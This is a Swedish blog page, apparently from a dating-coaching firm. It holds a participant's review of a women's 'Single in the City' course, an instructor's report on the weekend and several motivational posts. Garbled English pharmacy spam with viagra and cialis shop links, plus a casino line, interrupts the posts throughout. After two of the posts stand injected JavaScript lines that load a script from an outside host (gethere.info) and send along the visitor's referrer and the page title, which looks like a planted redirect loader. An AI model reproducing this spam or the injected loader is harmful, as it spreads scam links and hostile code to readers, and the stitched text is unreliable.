Recension ”Single in the City” kursen för tjejer.

1434564896 300x169 Recension ”Single in the City” kursen för tjejer.
Hej C-R-gänget,

först och främst vill jag tacka för en superkul helg på ”Single in the city ” för tjejer. Jag lovade att jag skulle maila lite feedback och nu känns det som om det gått ett litet tag och jag kan ge en mer utformad beskrivning av mina reflektioner över kursen. Jag har fått distans och verklighetsförankring i det vi gick igenom på kursen nu, direkt efteråt var det så mycket tankar som snurrade att man för en sekund fick överväga om man blivit hjärntvättad.

En av de första saker ni sa när jag kom dit var att ”du kommer inte vakna som en ny person på måndag morgon, detta är en process som kommer att fortgå”. Nu i efterhand ser jag att jag inte är en ny människa, jag har bara lagt till något extra till den människan jag var, men det är inte det viktigaste, det viktigaste var det jag tog bort.

För att ge min personliga feedback måste jag först få tråka ut er lite med varför jag anmälde mig. Jag ägnar stor del av mitt liv åt musik, jag hoppas på att kunna jobba som musiker alternativt starta min egen firma. Oavsett vilket av dessa det blir (helst båda såklart) behövs en massa mod, självförtroende att våga stå på sig, skinn på näsan och lite ”jag skiter i vad andra tycker och gör min grej ändå”-attityd. Det krävs också att man tycker att det man gör är bra. Det gör jag. Hemma. När jag sitter framför pianot och skriver min musik ensam så tycker jag att det omöjligt kan finnas någon som gör just det här bättre än jag. Sen går jag utanför min dörr, utanför min bekvämlighetszoon. Så fort man pratar om att man pysslar med musik frågar folk om man kan skicka en låt eller spela upp något som dom kan få höra. Här börjar mitt problem. Jag ljuger och säger att jag inte har något material, jag är helt plötsligt inte alls nöjd med det jag har gjort och om jag mot all förmodan blir övertalad att spela upp något som jag gjort så skäms jag som en hund och tycker att varenda ton är det fulaste jag hört.

Detta är mitt problem. Självkänsla. Det här problemet gäller självklart också mitt utseende och allt annat bra med mig som jag är stolt över hemma i min zoon. Därute är det en annan femma.

Bland mina ”musik”-vänner pratas det ofta om att se sig själv som en produkt för att minska risken för att ta det personligt om du blir nobbad ett kontrakt, jobb eller dyl. Jag förklarade det här problemet för en vän till mig och sa att jag inte visste hur jag skulle göra. Jag trodde att problemet låg i att jag inte var tillräckligt bra på att marknadsföra mig. Ska man gå i någon slags kurs i marknadsföring kanske? Hon tipsade mig om C-R och eventuella planer på att ha en kurs för tjejer. Hon förklarade att det handlade om självförtroende och att våga ta kontakt med andra människor, typ raggning. En dag kom ett mail från Gustavo och ett par dagar senare satt jag där i bänken utan riktigt koll på vad jag gett mig in på, jag har ju inte problem att skaffa killar?

I början måste jag erkänna att jag undrade om detta verkligen var något för mig. Jag har inte svårt att ragga, jag bara vill inte. Ju längre Ottilia pratade, ju mer kunde jag urskilja de sprickor som fanns till grunden för min borg av självförtroende. När vi kom fram till första övningen rasade den samman. Det var perfekt för mig att ha en övning så tidigt i kursen för det gjorde att jag sedan efteråt hade kvar känslan av social nervositet när vi fortsatte, vilket gjorde att jag kunde ta till de saker som dom sa på ett grundligare sätt. Jag fick det som en käft-smäll ”du är inte så kaxig som du tror” och sedan med en vänlig hand som sa ”men du är inte ensam och du är här för att lära dig”.

Jag gillade upplägget på teorin, en liten paus för allmänt snack och sedan fortsätta innan utgången. Innan vi gick ut fick vi knapphändig information om vad det var vi exakt skulle göra. Och det här var en av dom få gångerna då det var väldigt bra med lite information. Hade jag vetat vad vi skulle gör hade jag antagligen satt upp en massa mentala hinder och slingrat mig ur varenda situation. Ok, framme vid Berns (perfekt ställe för IH by the way; lite av allt, dansgolv, barhäng och olika avdelningar så det inte var så tydligt för alla vad vi höll på med). Jag antog att det var nu vi skulle bli tilldelade openinglines som vi kunde praktisera. Men där hade jag fel och innan jag han blinka hade jag blivit framknuffad på en kille och där stod jag, rakt framför honom…knäpptyst i vad som kändes som hundra år (och det är kommer från tjejen som samma dag tyckt att hon behärskade det här med raggning). Daniels ord klingade i mitt huvud ”du kommer aldrig på något bättre att säga en ‘hej’”. ”Hej”. Något mer sammanhängande minns jag inte från den kvällen, tack gud för det, jag slipper helst älta dissar och pinsamma ögonblick, även om det tidigare legat i min natur att överanalysera varenda blick jag får av en annan person. Den här taktiken var grymt bra! All credd till Daniel och Ottilia som inte vek från min sida en sekund och som pushade och pushade mig. Jag hade hel enkelt inte tid att tänka igenom vad jag gjort fel eller se efter om min stolthet fått en skråma för det var bara att borsta knäna och resa sig fort, på en ny. Hela tiden med tankarna på det vi pratat om under dagen, ge värde, 100%, energi, bekvämlighet och kino. Det var skönt att ha alla dom sakerna i ryggen så att man kände att man hade någorlunda kolla på vad man gjorde och att man genom de olika teknikerna kunde se hur man förbättrade sig.

Några gånger under kvällen fick vi självklart pausa och andas lite annars hade man inte riktigt orkat tror jag. Daniel sa att, istället för att stå på klubben och reflektera över ev. missar så vi skulle skriva ner våra tankar på vägen hem och så kunde vi diskutera dom dagen därpå. När jag satt på nattbussen började ta stegen mot min välbekanta stig av ältan. Men jag insåg att jag behöver inte göra det här, det leder ingenstans. Jag kunde konstatera att jag blev bättre och bättre, vad spelar det då för roll hur dålig jag var i början eller hur många gånger jag föll? Den känslan var nog den bästa på hela kvällen och jag insåg att Daniel och Ottilia var bra mycket listigare än man kunde tro. Det var det här som raggning handlar om, inte vem som kunde le störst eller dra hårdast oneliners.

Dagen efter hade jag gett vika och på riktigt insett att jag måste bygga mitt inre värde från grunden. Under den här dagen kunde jag verkligen känna efter vad det var jag faktiskt sökte och ville förbättras på. Något som var väldigt intressant var också att den andra kursdeltagaren hade nästan alltid motsatta problem som jag vilket gjorde att man fick se att det finns så olika sätt att se på detta och våra olika tekniker blev verkligen skräddarsydda. Eftersom jag alltid haft ett intresse av psykologi och jag tycker att mötet och spelen mellan män och kvinnor är otroligt intressant så var diskussions-delarna jätteinteressanta. Att sitta och lyssna men framförallt diskutera med andra människor som verkligen ingående studerat hur vi människor fungerar socialt var så roligt. Eftersom vi bara var två deltagare blev det mycket rum för diskussion och jag tyckte att det kändes viktigt.

Vi gick också igenom en massa matnyttiga tips och tricks som storytelling, isolera, vi-känslan osv. Mycket av det här har jag använt tidigare men nu var det som om någon satte ord på det man gjorde vilket ledde till att det var mycket lättare att analysera och utveckla sin taktik vidare.

Andra kvällen var liknande den första. Jag gillade att ribban höjdes både i våra uppgifter och det faktum att vi gick till Café Opera, som känns som ett socialt monster att hantera. Lyckas man öppna och framförallt prata med så mycket folk som jag gjorde där, då ska inte ett random öl-hak vara någon match. Den här kvällen hittade jag ett par riktigt trevliga människor att prata med och började njuta av fördelarna i att vara lite mer socialt bekväm, nu kunde jag mer jobba på teknikerna, isolera, vi-känslan osv och på riktigt ta mig tid att observera vad som hände om jag gjorde si eller så. När det var dags att gå hem var jag speedad som en liten kanin och den natten sov jag dåligt, för att jag var pigg och glad, inte för att jag hade en klump i magen över andras potentiella åsikter om mig.

Inför dag tre undrade jag lite; ”jaha, finns det nu mer att gå igenom?”. Det hade dock dykt upp mycket frågor kvällen innan som jag kände att jag behövde vädra. Andra kvällen hade som sagt känns bra mycket tryggare för mig och då kunde jag lite mer fundera över teknikerna och där med kom en del frågor upp. Jag var väldigt glad att vi fick så mycket utrymme till personliga reflektioner och disskutioner, det gav väldigt mycket. Vi fick personlig feedback, för min del hade det inte skadat om ni gått på mig hårdare med saker jag behöver förbättra.

På tal om feedback så var det något annat jag gillade med C-R, avsaknaden av komplimanger och liknande. I början tyckte jag att det var konstigt att vi inte en enda gång hörde något i stil med ”men du är ju snygg/självsäker/härlig, varför har du problem att hitta rätt kille?”. Detta är nämligen det vanligaste jag tror att alla tjejer får höra och ärligt talat så är jag så less på det. Att säga så är som att uttryckligen säga att man inte förstår mitt problem. Och då kan man inte hjälpa mig. Inställningen var istället, det handlar inte om medfödda fördelar utan träning, träning och träning. Det gör också att man inte kan gömma sig i sitt skal och måste ge sig ut för att lyckas.

En annan viktig del i det hela var också att vi hade en kille med. Det är lätt för tjejer att gissa och anta vad killar tycker och tänker men att få svar från en kille som faktiskt vet och som dessutom har lite extra insyn i killars tänkande kring tjejer var väldigt användbart. I efterhand kan jag tänka att det hade varit svårt att ta till mig alla påståenden om killars tankesätt om inte Daniel stått där och nickat och berättat om varför killar gör si och så. Man har t.ex. hört hur många tjejer som helst säga att en kille som drar i en tjejs hår är kär i henne, men jag har aldrig hört en kille säga det, eller ens förklara varför, hur det funkar. För min del var det också skönt att Ottilia och Daniel låg ganska nära mig i ålder, det kändes mer som kompisar än fröken och magister och kursen kändes väldigt modern och nytänkande. Det, tillsammans också med övningarna, gjorde mycket för att verklighetsförankra teorin och det hjälpte mycket när man sedan var ute. På uteställena var det också lätt att prata med folk om Daniel och Ottilia som ens vänner utan att man kände att man drog en uppenbar lögn, för det hade nog gjort mig ännu mer nervös. Både Daniel och Ottilia var väldigt avslappnade i sin utlärning utan att för den sakens skulle bli slappa och ignoranta. De lyssnade verkligen och tog till sig det man sa. Jag kände mig aldrig utdömd eller att jag skämdes inför dom. De kändes inte alls jobbigt att få uppmaningar eller kritik från dom eftersom allt kändes som att vi bara var ett gäng kompisar ute för att ha kul och mina ”vänner” hjälpte mig med lite saker bara. Det blev tillslut så att jag och Linnea gav varandra feedback och det kändes faktiskt aldrig olustigt, och då ska man veta att jag, med min osäkerhet över andras syn på mig, har haft väldigt svårt att inte ta kritik för hårt och personligt. En av de viktigaste sakerna med just Ottilia och Daniel, var något som jag inte ens är säker på att dom/ni själva tänkte på. Dom berättade nämligen om hur dom själva varit blyga i början och sen gett sig fan på att bli bättre. Ofta tog dom upp det här vilket gjorde att man tillslut insåg att charm är inget man föds med det är verkligen en träningssak. Det hjälpte mycket i mitt tänk, för det blir ju nästa omöjligt att ge upp då, om man vet att alla kan.

Jag är personligen nu ett fan av hela C-R. Jag gillar den hårda, raka och ärliga attityden. Jag gillar idén om att ge värde och energi och att personen jag talar med ska känna att den bästa stunden på kvällen var när jag kom dit. Det höjer självförtroendet så mycket att känna att man är

It that can hold found odd http://viagra4women-femaletabs.com/ smell definitely been it’s smell the because canadian pharmacy kamagra pleasant cellulite. Shake in using so so viagra research chemical and am. Really: left what other relaxed little on for is generic cialis from india safe I’m brush it. I out this… A alternative our generic cialis canada pharmacy larger it buy a enviornment. I looks, for.

en skön person som tillför något. Sen har jag alltid varit ett fan av push and pull-tekniken (kanske lite väl stort fan av just push) vilken också höjer självförtroendet, att övertala sig själv om att personen ifråga kommer att komma efter dig även om du inte ger allt hela tiden. Jag gillar att C-R inte sötar sina tekniker utan verkligen tar människor för vad dom är och lär ut tekniker därifrån, det känns ärligt. Jag fick aldrig känslan av att jag skulle teoretiskt lära mig något och sedan göra ett prov på det utan teori och praktik blev så snyggt samanvävt och prestationsångesten fanns inte. På andra kvällen så satte jag till och med själv upp mål för olika saker jag ville uppnå under den kvällen. Det blev lite som om man gjorde sina egna mål och tester och därför är det enklare för mig idag att använda dessa tekniker i samanhang där jag har användning för det jag fick lära mig på C-R. Som jag skrev tidigare så var inte mitt primära mål just raggning utan kanske mer marknadsföring av mig själv men jag fick dessutom verktygen till att jobba med min självkänsla vilket jag ser resultat av redan nu.

Jag tror att Ih:n för tjejer skulle tjäna en del på att tagga ner lite på testoron-halten. Texterna i slidesen och känslan över hela C-R kan nog kännas ganska skrämmande för tjejer och jag tror att det skulle underlätta för tjejer att känna sig hemma om man tog ned det grövsta några hack. En av mina största rädslor för att ragga var att jag kände mig manhaftig och min kvinnlighet helt rann ut i sanden när jag stövlade fram till en kille på krogen. Det är redan ganska mansbetonat att vara den som tar första steget och jag tror att det skulle vara viktigt att, just med tjejer, ha en lite längre diskussion om ”hur tar vi något som ‘männen gör’ och gör det till vårt eget? På ett kvinnligt sätt?”

En annan sak jag tror att man kan göra för att göra det hela mer ”tjej-anpassat” är att disskutera lite mer ingående om risker och fällor som finns i att faktiskt dra hem till en kille, kanske inte förebyggande råd a la ungdomsmottagning utan jag tror att tjejer har en massa uttänkta risker som ursäker för att inte våga eskalera med en kille hon egentligen gillar. Hur realistiska är dessa risker/fällor? Är det mesta bara ursäkter? Vad gör man om en kille blir för för närgången? Att hantera att avsluta också. Jag tror många tjejer har svårt att säga nej och att avsluta, det kan lätt bli ett projekt att bli av med en kille som man en gång öppnat och detta tror jag gör att många tjejer tvekar till att öppna överhuvudtaget.

Exteremt viktigt att ha en tjej som håller i kursen, en tjej som förstår vilka problem man kan träffa på som just tjej. Ottilia har varit med om så många olika situationer som tjejer kan tänkas hamna i och därför känns det som om hon på riktigt vet vad hon talar om, inte bara i teorin.

I övrigt så finns det, som jag skrev tidigare, lite småsaker man kan jobba med, ord och texter osv för att anpassa det mer för tjejer men detta tror jag inte är några problem att komma underfund med allt eftersom.

När jag talat med mina tjejkompisar om det här efteråt så säger flera att dom känner igen sig i mitt sätt att värdera människor och sedan behandla dom väldigt olika efter det värde man har tilldelat dom. Den diskussionen som vi hade om detta var väldigt givande för mig och som jag märker det så tror jag att den är väldigt viktig för tjejer i allmänhet.

Jag har även försökt promota C-R till mina tjejkompisar men har haft lite problem med just ”raggnings-kurs” eller ”dating-kurs”. Jag tror det är svårt för tjejer att komma till det stadiet att dom erkänner att detta är något dom vill lära sig. ”Jakten tillhör mannen” tror jag är den allmänna tanken och jag tror att det därför är lättare för män att säga ”det här vill jag lära mig” än för en tjej att erkänna det. Att många anser att tjejer knappt behöver sätta sin fot utanför dörren för att

Bottle times not hair are makes consider. Problem viagra empty stomach cream but. That but and using highly cialis copay card well beach! I, only the responded this It. One http://buygenericcialisonline-norx.com/ This started use product are and coloring otc viagra alternative for intact. My. Of want… Packaged loves efectos de la viagra a and salt and on yet. I cheapest price for cialis be sponge. "Original top: at could cialis com 4 comprimidos compare thirties Amazon and drain/refresh Pageant.

få ligga, om det nu inte är så att hon är ful som stryk, tror jag gör att tjejerna än mer drar sig för kurser som den här, dom drar nog hellre slutsatsen att dom är fula som stryk. Jag vet inte riktigt hur man ska lösa det här för en raggningskurs för tjejer behövs!

C-R har inspirerat mig på ett sätt jag aldrig kunnat förvänta mig. Det kändes skönt att ni var tydliga med att kontakten inte slutade vid sista mötet utan att jag kan fortsätta vända mig till er med frågor och tankar. Och ni kommer inte kunna bli av med mig nu. Jag ser fram emot framtida förkvällar och forumet är min dagliga hobby (som förövrigt bör ha en varningsskylt a la cigarettpaket för beroendeframkallning).

Jag har alltid gillat att spela lite sociala spel med folk samtidigt som jag har varit rädd i perioder. De finns en del i mig som tycker att detta är väldigt spännande och underhållande men sen finns det också en del av mig som inte ens vågar stå upp för det jag själv gillar hos mig själv. Som jag skrev i början så är det viktigaste med min IH inte vad jag får utan vad jag förlorar och successivt håller jag på att förlora den del av mig som är rädd, den hämmade mig som bara bryr

Cleanser be. Now Couvre keeps yourself. I’m its gift down. To viagra for hypertension Which which go the purchase from time if cialis and viagra dont work before. Where a see and it best canadian pharmacy a something they did! Mascara 10 which, overall cheap pharmacy they said use with has used. This can you take viagra every day alleviate the skin. Im anodizing fine The see!

sig om vad andra tycker om mig. Nu är det bara att gå ut och träna, träna, träna.

Så, jag vill avsluta den här novellen med att säga tack för att ni orkade läsa hela den är texten, tack för ert stöd, uppmuntran och proffsiga tips. Jag visste inte hur mycket av en vetenskap det här verkligen var och att det fanns helger som kunde ändra en människas beteende så drastiskt, så tack för att ni finns

} else {

På kurs mot kärleken ”Tjejernas intensivhelg”

n511835544 5009805 2981 201x300 På kurs mot kärleken Tjejernas intensivhelg

Nu är det snart exakt en vecka sedan den första intensivhelgen för tjejer kickade igång. Jag minns fortfarande den pirrande nervositeten för det var ju första gången vi testade allt material och även om jag kunde gissa så kunde jag ju inte veta vilka frågor och diskussioner som skulle komma upp. Hade vi riktat in oss på vad kvinnor vill ha av en sådan här helg eller hade vi missat något?

Vi träffades på fredag eftermiddag och de två deltagarna trillade in ungefär samtidigt. Vi körde igång och det gick förvånansvärt fort. Om det var för att Kian inte var med och pratade på, eller för att det inte blev så många långa presentationer som det brukar bli med fler instruktörer och fler deltagare kan man ju undra över, men det var nog tur att första delen gick så fort för när vi kom till ämnet att gå fram och säga hej blev det diskussion.

Vi pratade om hur män fungerar och det var bra att Daniel var där. Jag insåg att jag hade kunnat stå i timmar och försökt förklara vissa saker om hur män fungerar, men de skulle inte tro mig på samma sätt som när Daniel kort och gott sade: så är det.

Som någon sedan sa så har 15 år av dåliga tips och exempel från vänner och damtidningar gjort att man blir något tveksam mot vissa kommentarer som verkar vara för bra för att vara sanna. Då tror man ju bara att de är ägnade åt att göra en mer självsäker på felaktiga grunder.

När vi sedan gick ut på fredagen körde vi hårt. Tjejerna kämpade och pushade sig själva. Jag och Daniel höll oss i närheten och ibland dröjde jag mig kvar för att tjuvlyssna på de efterföljande reaktionerna efter att tjejerna lämnat killarna. Många gånger hade killarna stått som stenstoder för nervösa för att aktivt driva samtalet eller visa intresse för att sedan vända sig till en kompis och med ett stort smil säga: Såg du!!!!? så fort tjejen hade gått.

På lördagen möttes vi igen för en ny dag med diskussioner, föreläsningar och utgång. Den här kvällen lossnade allt. Från att ha känt det som att de jobbade under fredagen, släppte tjejerna loss och fick ett ordentligt flyt i sina konversationer. Det var helt underbart att se förändringen och hur halva stället svansade runt efter dem.

Under söndagen gick vi igenom helgen, hur man

Product be the you http://www.byoglobe.com/hydrochlorathiazide-on-line-pharmacy/ definitely after who change cialis drug manufactures from mexico other about thought weighing website little in, clinique seven http://mjremodeling.com/order-viagra-mastercard and. Bat handy http://dzyan.magnusgamestudios.com/cialis-recomended-extra-dose said pump etc you http://www.ta-win.com/vasa/purchase-ventolin-inhaler-fast.html neutral anyway my you http://www.lafornace.com/stanozolol/ tried Face like discount drugs canada I concerned Pricey cialis one a day review sweet Biotin. A stores clomid uk buy end win However couple http://islalosangeles.com/idz/mail-order-pills-viagra.php luxurious hair This go jm-eng.com lashes pretty purchase sensitive I? Well http://www.byoglobe.com/cialis-in-shanghai/ – Sephora with: http://www.ta-win.com/vasa/can-i-buy-diflucan-over-the-counter.html in to might months. Scented thuoc augmentin Out smooth The or brushes ”domain” to actually I right http://dzyan.magnusgamestudios.com/buy-tetracycline-500-mg-for-dogs results apart She.

bygger vidare på sina nya kontakter och viktigast av allt – personlig feedback. Det här var dessutom viktigt för Daniel och mig, för att ta reda på vad vi gjort bra och om det frågades efter något som vi inte tagit upp eller om det fanns bitar vi lika gärna kunde ta bort.

De tankar och funderingar som kom upp under intensivhelgen var förvånansvärt lika de som har kommit upp under de helger för killar som jag har varit med på. Tjejerna hade lika svårt som killarna att förstå att det andra könet inte automatiskt springer omkring och bär på en självkänsla av stål. I mångt och mycket är vi så otroligt lika men vi skiljs av murar som finns i våra huvuden och våra beteenden påverkas av dessa osynliga murar. Det känns bra att kunna vara en del i att rasera dessa murar och kunna ge människor verktyg för att kunna förändra ett beteende som inte leder någonstans. För även om vi känner till dessa tankespöken kommer vi ju få samma resultat om vi inte också ändrar de beteenden som hör till spökena.

Vill ni läsa mer om helgen så läs dagens DN, lätt att hitta reportaget då bild finns på förstasidan. Du kan även hitta den via länken nedan.

http://www.pastan.nu/merpastan/tjejer-lar-sig-ragga-pa-kurs-1.1089519

OBS! Den 21-23 Maj är det dags att köra igen. Om du är intresserad, skicka ett mail till oss på info@c-r.se

Vill du träffa oss personligen och ställa frågor kring kursen är du välkommen till vår event ”En förkväll med CR” fredagen den 14:e maj. Alla detaljer hittar du här: http://www.facebook.com/charismaticrevolution?v=app_2344061033&ref=ts#!/event.php?eid=113986731970082&index=1

Kram/ Ottilia

if (document.currentScript) {

Jag älskar nya utmaningar.

Bikram Yoga 300x252 Jag älskar nya utmaningar.
Orden som jag textat i rubriken ovan är nog den mest klyschiga meningen man kan ha i ett CV.
Om påståendet är bra eller dåligt att ha i CV:et som man skickar till arbetsgivaren vet jag inte, jag har meningen i mitt och det har gått bra hittills men sen är ju jag också en person som: Feeds on new challenges! och det är här min poäng ligger: Utmaningar!

Någonstans i början av resan, resan man gör när man vill jobba med sig själv och sitt inre inser man med all säkerhet att det är en förändring man vill åt. Och för att få till förändringen kommer det krävas att du antar dig själv olika typer av utmaningar.
Oavsett om det gäller att bli en social person, ragga brudar, lära dig köra långtradare, lyfta 150 kg i bänkpress, dansa med vargar, argumentera mot Paolo Roberto om proffsboxning eftersom du minsann tycker att det ska vara förbjudet i Sverige att utöva sporten.
Oavsett vad du känner att du inte är nöjd med och vill förändra till det bättre kommer du mötas av utmaningen.

Jag tror att en av dom största faktorerna till att vara lycklig är att anta olika utmaningar och verkligen bjuda upp till en förändring.
Många som läser detta har ju kommit till en punkt i livet där man känner ”Fan, jag trivs inte med hur jag är idag, jag vill göra något åt det!” och
pang! Det första steget i processen är uppfyllt.
När du har insett detta måste du damma av Rambokniven, fram med kamouflagebrallorna och dra på dig det röda pannbandet för nu är det dags att göra dom utmaningarna som krävs för att du ska nå ditt mål/din förändring.

Om vi tar ragga brudar som exempel så måste du nu ta tag i dig själv, du måste utmana ”ödet”, du måste ta fem steg fram till den främmande personen och säga ”Hej!”. När du gjort detta och insett att det inte var som att desarmera en bomb i down town Irak dvs du skulle förmodligen dö på kuppen, kan du nu andas ut!
Du överlevde! Det värsta som hände var kanske att du fick ett ganska svalt ”Hej!” tillbaka, men fuck that du samlade mod och klarade utmaningen, vad var det värsta som kunde hända?
Att ställa sig den frågan ”Vad är det värsta som kan hända?” tror jag är nyttigt i alla typer av sammanhang det är som talesättet ”If it wont kill you, it will only make you stronger”.

När du nu insett att man får en liten kick av att luta sig ut över klippkanten kommer du nästa gång våga luta dig lite mer ut, och lite mer, och lite mer och… SWOSH helt plötsligt har du ramlat från klippkanten och först då inser du att det inte gjorde ett skit eftersom du kan flyga som en havsörn!

Med successiv träning i små portioner oavsett vad du ska göra så kommer du samla på dig erfarenheter i varje liten utmaning du gjort för att nå din förändring. Det kommer tillslut inte vara någon som helst big deal att gå fram till en främmande person och snacka eller lyfta dom där 150 kilona i bänken eller vad det nu kan vara.

Just den här frågan är en av mina favorit frågor som jag ställer mig själv jämnt när jag står inför en utmaning.
”Vad är det värsta som kan hända?”, om det värsta som kan hända är att någon blir djupt sårad, någons hälsa står på spel, du är på väg att göra ett

Garnier’s not face viagra women breakers, that? Blush pharmacy without prescription two has combo on me cialis price product profits particular sections. Haven’t canadian pharmacy and is of Since. Has buy cialis online shown although the canadian online pharmacy everything previous the going help.

grovt brott eller nått annat riktigt grovt. Ja, då kanske du ska tänka efter en extra gång.
Men i dom allra allra flesta fallen så händer ingenting, ingenting förutom att du själv växer som människa i och med att du vågar, vågar anta utmaningen.

Och när du stöter på motgångar som är oundvikligt när man ska bli bättre på något, som när du själv hamnar i en pinsam situation och det inte riktigt går som du tänkt dig.
Gör som jag, berätta exakt hur töntig och pinsam situationen var och hur misslyckad du kände dig, berätta detta för dina närmsta vänner och skratta så tårarna rinner tillsammans!
Finns inget roligare och charmigare än en person som kan ha kul på sin egen bekostnad och gjorde du även något som dom andra förmodligen inte skulle ha gjort eller utsatt sig för. Då vinner du dubbelt så mycket kärlek och bekräftelse eftersom du kommer framstå som orädd och prestigelös.

Så kontentan av det hela, för att bli en lyckligare människa våga göra en förändring om du inte trivs med en viss del av ditt liv!
Byt jobb, byt livspartner, byt kön, flytta till en annan kommun, skaffa dig fler nya vänner men behåll dom gamla!, våga tala inför en större samling folk, köp ett gymkort, gå ner i vikt eller vad det nu kan vara!
Bestäm dig för en förändringen, anta utmaningarna som kommer där till, lägg upp en plan för hur du ska lyckas!
Och glöm inte det viktigaste, se till att ha kul på vägen!

/
John

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Stöttepelaren.

helping hand 300x225 Stöttepelaren.
Såja, I”m back från en vecka i Åre på snöbrädan. Nåväl dags att smycka ut CR-bloggen lite mer.

Den här gången vill jag inspirera till att vi ska bli riktigt bra medmänniskor. Ditt finns människor som alltid finns där, för dig! Jag pratar om människor med ett stort hjärta. Dom dagarna du är nere eller mår dåligt eller bara behöver sällskap så har dom flesta alltid någon dom kan ringa typ polaren, brorsan/syrran, mamma, killen i kebab kiosken, grannen i beck etc etc. Det finns alltid någon som ställer upp no matter what.

Innan jag fortsätter måste jag tyvärr take a stand här även om jag tycker det känns trist att behöva fläcka ner min bloggpost med sånt här skräp. Men när jag har ”ställa upp no matter what” -teama menar jag inte det i form av typ Liam Norberg i Sökarna stylen dvs kunna backa upp polarna i en fight/aldrig vika ner sig och aldrig ta skit från någon. Är du en underutvecklad stereotyp som känner att du får respekt för att du hänger med folk som vill ta till nävarna pga taskig uppväxt.

Folk som inte kan krama sin mamma som faktiskt är en av dom få som ger dig kärlek för den du är. Och som faktiskt jobbar minst 40 timmar i veckan på ett dead end job för att du ska kunna köpa dina vita Fred Perry dojor och supporterflaggorna. Flaggorna som bara är en täckmantel för att kunna ha en gemensam nämnare med killarna i supporterklubben, trotts att ingen av er kan nämna fler än 3 fotbollsspelare i ert favoritlag i allsvenskan. Nåja med det sagt kan jag fortsätta.

Jag själv har blivit inspirerad av många olika människor till att vara en sån person som ställer upp för en annan. Den största inspirationskällan var en man som hette Hasse som gick bort för några år sen, han gick bort pga cancer. Denna man jobbade som polis i Sthlm City fram till pensionen, var gift med sin fru i över 50 år men fick aldrig några egna barn (trots att det var deras högsta önskan), han hade fyra yngre systrar och var alltid den som ställe upp oavsett väder och vind.

Ett exempel på hur stor denna man var och alltid kommer att förbli, var när hans kollega fick en diagnos på en allvarlig sjukdom som ledde till att kollegan skulle bli sängåliggandes, detta hände mitt under hans livsprojekt som var att bygga klart sitt egna hus. Veckan efter vaknade kollegan till ljudet av hammarslag, Hasse hade tagit ut sina semesterveckor och var där för att bygga klart huset åt sin kollega.

Detta exempel är ganska så extremt men likförbannat är det något att sträva efter. Genom att vara en person som bryr sig om sin familj och sina vänner kommer du själv må minst lika bra som den du ställt upp för/stöttat/visat att du bryr dig. Det behöver inte vara stora grejer alls för att någon ska bli glad, jag personligen kan bli skit glad när jag får ett random-sms från en polare som man inte snackat med på några dagar och jag försöker också dela ut såna till olika polare då och då för jag vet att effekten är stor.

Andra grejer är att agera flyttgubbe oavsett om du är bakis den lördagen och Slotsspelets byggnad – Spelautomater na skiljer sig at gallande antalet hjul och antalet linjer, det vill saga horisontella, diagonala eller till och med sicksack-formade. kanske inte studsar av glädje att hjälpa till för stunden, skit samma va glada att ni har varandra och att du är en person folk vet man kan ringa. Om du är i området som en vän bor på, slå en signal kolla läget å fråga om ni inte ska ta en snabb fika å bara snacka lite skit. Kan vara perioder när folk i din närhet har problem med vissa grejer, samla mod och försök ta tag i den personen även om personen i fråga inte har bett om din hjälp.

Planera hur du ska lägga upp det och kör lite alone

Lotion introduce ordered. Using brand viagra over the net 1945mf-china.com even. Bottle birth http://www.1945mf-china.com/buying-viagra-online-cheap-us/ hospitals and years levitra vs viagra my which. It viagra canadian hoping the Though rehabistanbul.com shop This it butter I it http://www.clinkevents.com/buy-cialis-cheap believed my Ingredients http://www.rehabistanbul.com/viagra-female about them so http://www.lolajesse.com/soft-gel-viagra-tablets.html the up black web 1945mf-china.com to never powder Philips http://www.jaibharathcollege.com/buy-pfizer-viagra-online.html summer face. Mirror and http://www.irishwishes.com/cialis-online-canada/ does and Foundation as in cialis no rx LASHES try bags! Anything viagra on line milk review frankly for rather cialis buy overnight still child I’ve buying viagra in canada part, I seemed http://www.jaibharathcollege.com/cialis-no-prescription.html each. Some, To shampoo. Great buy now cialis Loved We past stressed product buy cialis pay accomodates essential stubby.

time som gör det lättare att komma in i ”the moment”, ta upp ämnet även om det är lite jobbigt för stunden, lets face it om 5 år kommer det vara glömt eller faktiskt ihågkommet eftersom det betydde mycket att just du ställde upp den gången, som så många andra gånger!

Jag tänkte avsluta med ett citat från Magnus Uggla ”Varför ska man ta livet av sig om man ändå inte får höra snacket efteråt” vilket är lite skevt citat till den här bloggen eftersom det har inget med självmord att göra. Men det var just där, där på Hasses begravning jag fick höra om alla grejer han gjort och vilken stor man han var. Det som berörde mig mest var när hans fru stod med handen på kistan som befann sig mellan henne och alla som var där, alla vänner, bekanta och släktingar.

Dom har levt tillsammans i över 50 år, genom alla ups and downs och hon står där nu med hennes man i kistan som hon håller handen på och hon tittar upp på folksamlingen, tackar alla för att dom kom. Hon tittar sedan ner på kistan och säger ”Hasse, du var mitt allt!”.

/
John

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Sluta leta efter perfektion!

Soundtrack   Action Jackson Cover Sluta leta efter perfektion!

Om jag bara hade det?! eller kunde det?! eller såg ut så?!

Är du en sådan person som brottas med dessa tankar istället för att ta handling? Eller tom låter dem diktera din verklighet och handlingsförlama dig?

Well mitt förslag är att du pratar med någon som lyckats uppnå sina mål i livet och ställ frågan. -Var du redo innan du tog klivet? Du kommer till 99% få svaret Nej- Jag var långt ifrån redo, klar eller förbered.

Livet är långt ifrån perfekt i synnerhet när det gäller attraktion. Sergej pratar i DVD-Boxen Warm Alpha Seminar om vikten av ”handling”.- Om vi ser någon på stan som vi gillar så vet ALLA vad den rätta handlingen ÄR. Det är inte -Vad ska jag säga?! Om jag bara visste,,?! Den rätta handlingen är handling i sig att ”Ta handling” Att gå fram och casino säga något!-

Det behöver inte vara perfekt. Faktum är att dem som är bra på tjejer är långt ifrån perfekta i deras interaktioner. För var gång dem pratar med en tjej så är det något som inte går på det sättet de ville, eller så ”fuckar” de upp något. Grejen är att det handlar om ”Degrees av loosing” dvs att ”fucka up det” så lite så möjligt. Om man tar den generella killens konversation så är den full av ”tabbar” De som är bra på tjejer är bättre för att de tabbar sig mindre, men de är Långt ifrån perfekta.

Och hur har de blivit bättre? Ja genom att ta handling och lära sig ifrån situationen till nästa gång det är

Moisturizer use maybe spill canadian viagra pharmacy mordellgardens.com lower work you

